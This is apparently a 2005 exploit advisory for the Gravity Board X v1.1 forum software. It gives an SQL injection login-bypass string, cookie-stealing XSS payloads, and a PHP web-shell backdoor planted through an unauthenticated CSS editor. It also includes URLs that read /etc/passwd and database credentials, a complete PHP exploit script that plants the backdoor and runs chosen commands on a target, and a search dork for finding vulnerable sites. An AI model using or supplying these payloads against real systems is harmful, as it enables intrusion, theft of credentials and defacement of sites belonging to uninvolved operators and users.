Gravity Board X version 1.1 suffers from multiple vulnerabilities that can be exploited by malicious people to conduct cross-site scripting attacks, bypass certain security restrictions, or compromise a vulnerable system.
ec37b4ef13ab549c90e03d5f8aee07bfe1aa4c23fda47a199c5aa3d9e1f0360a4.22 07/08/2005
Gravity Board X v1.1 (possibly prior versions)
Remote code execution, SQL Injection / Login Bypass, cross site scripting, path
disclosure poc
software:
author site: http://www.gravityboardx.com/
a) Sql Injection / Login Bypass:
A user can bypass login check and grant administrator privileges on target
system:
login: ' or isnull(1/0) /*
password: whatever
b) Cross site scripting poc:
b.1)After he login as administrator he can edit template to insert evil javascript
code. Try to insert at the end of the template these lines:
</STYLE>
<script>alert(document.cookie)</script>
b.2)A user can craft a malicious url like this to access target user cookies:
http://[target]/[path]/deletethread.php?board_id="><script>alert(document.cookie)</script>
c) Remote commands/php code execution:
c.1) Editing the template, attacker can leave a backdoor in target system,
example, at the end of template:
</STYLE>
<?php
error_reporting(0); //to show no errors when page is called normally
system($HTTP_GET_VARS[cmd]);
?>
After, the attacker can launch commands by this urls:
http://[target]/[path]/index.php?cmd=ls%20-la
to list directories...
http://[target]/[path]/index.php?cmd=cat%20/etc/passwd
to see Unix /etc/passwd file
http://[target]/[path]/index.php?cmd=cat%20config.php
to see database username/password
c.2) An IMPORTANT NOTE: You can edit template without to be logged in as administator, calling
editcss.php script, look at the code of this script:
if($fp = fopen('gbxfinal.css','w')){
fwrite($fp, $csscontent);
fclose($fp);
echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=index.php?action=admin">';
}else{
echo 'Gravity Board X was unable to save changes to the CSS template.';
}
a user can easily deface the forum and/or insert a backdoor calling an url like this:
http://[target]/[path]/editcss.php?csscontent=</style><?php%20system($HTTP_GET_VARS[cmd]);%20?>
then execute commands:
http://[target]/[path]/index?cmd=[command]
this my php exploit code, run it from Apache:
<?php
/* 4.22 07/08/2005
Gravity Board X v1.1 (possibly prior versions) remote code execution
by rgod
site: http://rgod.altervista.org
make these changes in php.ini if you have troubles
with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>Gravity Board X v1.1 remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">Gravity Board X v1.1 (possibly prior versions) remote commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$SERVER['PHP_SELF'].'?path=value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /flatnuke/forum/ or /forum/ just /) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$htmli=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($htmli)==1) {echo "<td>0".$htmli."</td>";} else
{echo "<td>".$htmli."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if ($proxy<>'')
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
}
if (($path<>'') and ($host<>'') and ($command<>''))
{
//Gravity forum default template
$template='A:link, A:visited, A:active {
TEXT-DECORATION: none; COLOR: #E6B400;
}
A:hover {
TEXT-DECORATION: underline;
}
p {
FONT-FAMILY: Verdana, Arial, Sans-Serif; FONT-SIZE: 12px; COLOR: #FFFFFF; BACKGROUND: transparent;
}
body {
FONT-FAMILY: Verdana, Arial, Sans-Serif; FONT-SIZE: 12px; COLOR: #FFFFFF; BACKGROUND: #101010;
}
/* FONTS */
.headerfont {
FONT-FAMILY: Verdana; FONT-SIZE: 9pt; FONT-WEIGHT: bold; COLOR: #DCDCDC;
}
.headerfont2 {
FONT-FAMILY: Verdana; FONT-SIZE: 9pt; FONT-WEIGHT: bold; COLOR: #FFFFFF;
}
.categoryfont {
FONT-FAMILY: Verdana; FONT-SIZE: 12px; FONT-WEIGHT: bold; COLOR: #FFFFFF;
}
.mainlinkfont {
FONT-FAMILY: Verdana; FONT-SIZE: 12px; FONT-WEIGHT: bold; COLOR: #006699;
}
.navfont {
FONT-FAMILY: Arial; FONT-SIZE: 8pt; FONT-WEIGHT: bold; COLOR: #000000;
}
.navheader {
FONT-FAMILY: Tahoma; FONT-SIZE: 14pt; FONT-WEIGHT: bold; COLOR: #000000;
}
.profilefont {
FONT-FAMILY: Verdana, Arial, Sans-Serif; FONT-SIZE: 12px;
}
.small {
FONT-FAMILY: Verdana; FONT-SIZE: 10px;
}
.subjectfont {
FONT-FAMILY: Verdana; FONT-SIZE: 11px; COLOR: #006699;
}
.welcomefont {
FONT-FAMILY: Verdana; FONT-SIZE: 12px; FONT-WEIGHT: bold; COLOR: #FFFFFF;
}
/* MAIN TABLES */
.station {
BORDER-WIDTH: 1px; BORDER-STYLE: solid; BORDER-COLOR: #505050; CELL-SPACING: 1px; PADDING: 4; BACKGROUND: #222222;
}
.main {
BORDER-WIDTH: 1px; BORDER-STYLE: solid; BORDER-COLOR: #505050; CELL-SPACING: 1px; PADDING: 4; BACKGROUND: #181818;
}
.post {
BORDER-WIDTH: 1px; BORDER-STYLE: solid; BORDER-COLOR: #505050; CELL-SPACING: 0px; BACKGROUND: #202020; BORDER-COLLAPSE: collapse;
}
/* OTHER */
.textbox {
COLOR: #FFFFFF; background: #606060; border: 1px inset #C0C0C0; font-size: 8pt; FONT-FAMILY: Verdana;
}
.button {
COLOR: #FFFFFF; BACKGROUND: #707070; FONT-FAMILY: Verdana; FONT-WEIGHT: bold; BORDER-STYLE: solid; BORDER-COLOR: #999999; BORDER-WIDTH: 2px;
}
/* TABLE CELLS */
.header {
BACKGROUND-IMAGE: url(images/skin/header_dark.gif);
}
.row1 {
BACKGROUND: #303030;
PADDING: 4px;
}
.row2 {
BACKGROUND: #202020;
PADDING: 4px;
}
.row3 {
BACKGROUND: #404040;
PADDING: 4px;
}
.floatrow {
BACKGROUND: #4A4A4A;
PADDING: 4px;
}
.rollover {
BACKGROUND: #808080;
PADDING: 4px;
CURSOR: hand;
}'; //setup new template
if ($port=='') {$port=80;}
$packet="GET ";
if ($proxy<>'') {$packet.="http://".$host;}
$packet.= $path."editcss.php?csscontent=".urlencode($template);
//cut next line to reset template...
$packet.= urlencode("</style><?php error_reporting(0);system(".'$HTTP_GET_VARS[cmd]'."); ?>");
$packet.=" HTTP/1.0\r\n";
$packet.="Accept: */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
if (!$ock) {echo 'Not connected to target...'; die;}
//debugging...
show($packet);
fputs($ock,$packet);
fclose($ock);
$packet="GET ";
if ($proxy<>'') {$packet.="http://".$host;}
$packet.=$path."index.php?cmd=".urlencode($command)." HTTP/1.0\r\n";
$packet.="Accept: */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
if (!$ock) {echo 'Not connected to target...'; die;}
//debugging...
show($packet);
fputs($ock,$packet);
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
fclose($ock);
echo "If Gravity Forum is unpatched and vulnerable, now you will see ".htmlentities($command)." output inside html...<br>";
echo nl2br(htmlentities($html));
}
?>
It's also possible to disclose path:
d) path disclosure:
http://[target]/[path]/deletethread.php?perm=1
http://[target]/[path]/ban.php
http://[target]/[path]/addnews.php
http://[target]/[path]/banned.php
http://[target]/[path]/boardstats.php
http://[target]/[path]/adminform.php
http://[target]/[path]/forms/admininfo.php
http://[target]/[path]/forms/announcements.php
http://[target]/[path]/forms/banform.php
ans so on...calling scripts in /forms directory
googledork: "Powered by Gravity Board"
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://www.rgod.altervista.org/gravity.html
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